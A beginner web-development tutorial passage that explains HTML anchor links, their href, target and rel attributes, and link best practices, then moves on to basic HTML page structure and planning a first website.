External links point to resources on other websites. It's essential to indicate that a link is external by using the target="_blank" attribute to open the linked page in a new browser tab or window. This ensures that your website remains open in the user's current tab while the linked content appears in a separate tab or window:

<a href="https://www.external-site.com" target="_blank">Visit External Site</a>

External links are a way to provide additional resources, references, or sources to your content while allowing users to return to your site easily.

How to create internal links

Internal links are used to navigate within the same website. They typically reference other pages within the site using relative URLs:

<a href="/about">Learn More About Us</a>

Internal links are essential for site navigation, helping users find related content or move between different sections of your website.

Link Attributes Explained

To create functional and user-friendly links, it's crucial to understand the key attributes that can be used with anchor (<a>) elements.

How to use the href attribute

The href attribute specifies the destination URL or resource that the link points to. It can be an absolute URL (starting with "http://" or "https://") or a relative URL (relative to the current page).

Here is how you create absolute URLs:

<a href="https://www.example.com">Visit Example.com</a>

And here is how you create relative URLs:

<a href="/about">Learn More About Us</a>

Using relative URLs is often preferred when linking within the same website because it makes your links more adaptable to changes in the domain structure.

How to use the target attribute

The target attribute defines how the linked resource should be displayed when clicked. Common values include:

• _self (default): Opens the link in the same browser tab or window.
• _blank: Opens the link in a new browser tab or window.
• _parent: Opens the link in the parent frame or window.
• _top: Opens the link in the full body of the window, replacing any frames.

<a href="https://www.external-site.com" target="_blank">Visit External Site</a>

The use of the _blank target is common for external links to prevent users from navigating away from your site entirely.

How to use the rel attribute

The rel attribute specifies the relationship between the current document and the linked resource. For example, rel="noopener" is often used for security reasons when opening links in a new tab:

<a href="https://www.example.com" rel="noopener">Visit Example.com</a>

The noopener value helps protect against potential security vulnerabilities associated with opening new tabs or windows.

HTML Link Best Practices

To ensure an excellent user experience and maintain web accessibility and SEO (Search Engine Optimization) standards, you can follow certain best practices when working with links in HTML.

Use descriptive text

The text used for link anchors should be descriptive and convey the purpose of the link to users. Avoid generic phrases like "click here."

Not Recommended: <a href="https://www.example.com">Click here</a>

Recommended: <a href="https://www.example.com">Visit Example.com</a>

Descriptive link text improves the user experience and helps users understand where the link will take them.

Provide context

When linking to external resources, consider adding a brief description or title attribute to inform users about the linked content:

<a href="https://www.example.com" title="Visit Example.com">Example.com</a>

Providing context enhances usability and accessibility, especially for users with disabilities who rely on assistive technologies.

Test links

Regularly test all links on your website to ensure they are working correctly. Broken links can frustrate users and harm your website's reputation.

Consider using automated link-checking tools to scan your site for broken links and address them promptly.

Optimize for accessibility

Use semantic HTML and provide alt text for images within links to make your content accessible to users with disabilities.

<a href="/about">
  <img src="about-image.jpg" alt="About Us">
</a>

Accessible links ensure that all users, regardless of their abilities, can navigate and interact with your content.

Consider SEO

When linking to internal pages, use meaningful anchor text that includes relevant keywords. This can improve your website's search engine ranking.

Not recommended: <a href="/product123">Click here for more info</a>

Recommended: <a href="/product123">Learn more about Product XYZ</a>

Keyword-rich anchor text helps search engines understand the content and context of your links, which can boost your site's visibility in search results.

Use relative URLs

When linking within your own website, prefer relative URLs over absolute ones. This makes your website more maintainable and adaptable to changes in the domain structure.

<a href="/about">Learn More About Us</a>

Relative URLs are less prone to breaking when you make changes to your website's structure or migrate it to a different domain.

Use external link indicators

When linking to external websites, make it clear to users that they are leaving your site. This can help build trust and transparency.

Consider using an icon or text such as "External Link" next to external links to provide this indication.

Conclusion

In conclusion, links are the backbone of the web, enabling seamless navigation and exploration of online content. By understanding the types of links available in HTML, their attributes, and best practices for their usage, you can create a user-friendly and accessible web experience while enhancing your website's visibility and credibility on the internet.

With proper link usage, you can connect your audience with valuable resources, provide a smooth user experience, and contribute to the overall success of your website.

In this guide, we'll explore HTML comprehensively, addressing essential questions to provide a strong foundation for budding web developers.

The Crucial Role of HTML in Web Development

HTML plays an essential role in web development as it defines the structure and content of web pages. It serves as the backbone upon which websites are built.

HTML accomplishes this by utilizing a system of tags and elements, each serving a unique purpose.

<!-- Sample HTML Tag -->
<h1>This is an HTML tag</h1>

How Do I Write HTML Code?

Writing HTML code is a matter of understanding HTML tags.

Tags are enclosed within angle brackets, each comprising an opening and closing part. They function as building blocks that define the structure of your web page.

Think of them as the bricks and mortar of web development. Understanding their roles is essential for web development.

<!-- Basic HTML Structure -->
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>My First Web Page</title>
</head>
<body>
    <h1>Hello, World!</h1>
    <p>This is a paragraph of text.</p>
</body>
</html>

How to Create a Website Using HTML?

Creating a website using HTML involves several key steps. Let's go over them in the following sections.

Website Planning

Before you start coding, take time to plan your website thoroughly.

Identify your target audience, outline the content and structure of your site and design a layout that aligns with your goals.

Keep in mind that the visual design can be enhanced with CSS (Cascading Style Sheets), a topic we'll explore later in your web development journey.

Writing HTML Code

Open a text editor, such as Visual Studio Code or Sublime Text, and begin writing HTML code.

Start with the basic structure, including <!DOCTYPE html>, <html> </html>, <head> </head>, and <body> </body>.

Then, populate the body with your content.

<!-- Sample HTML Document Structure -->
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>My First Website</title>
</head>
<body>
    <!-- Your content goes here -->
</body>
</html>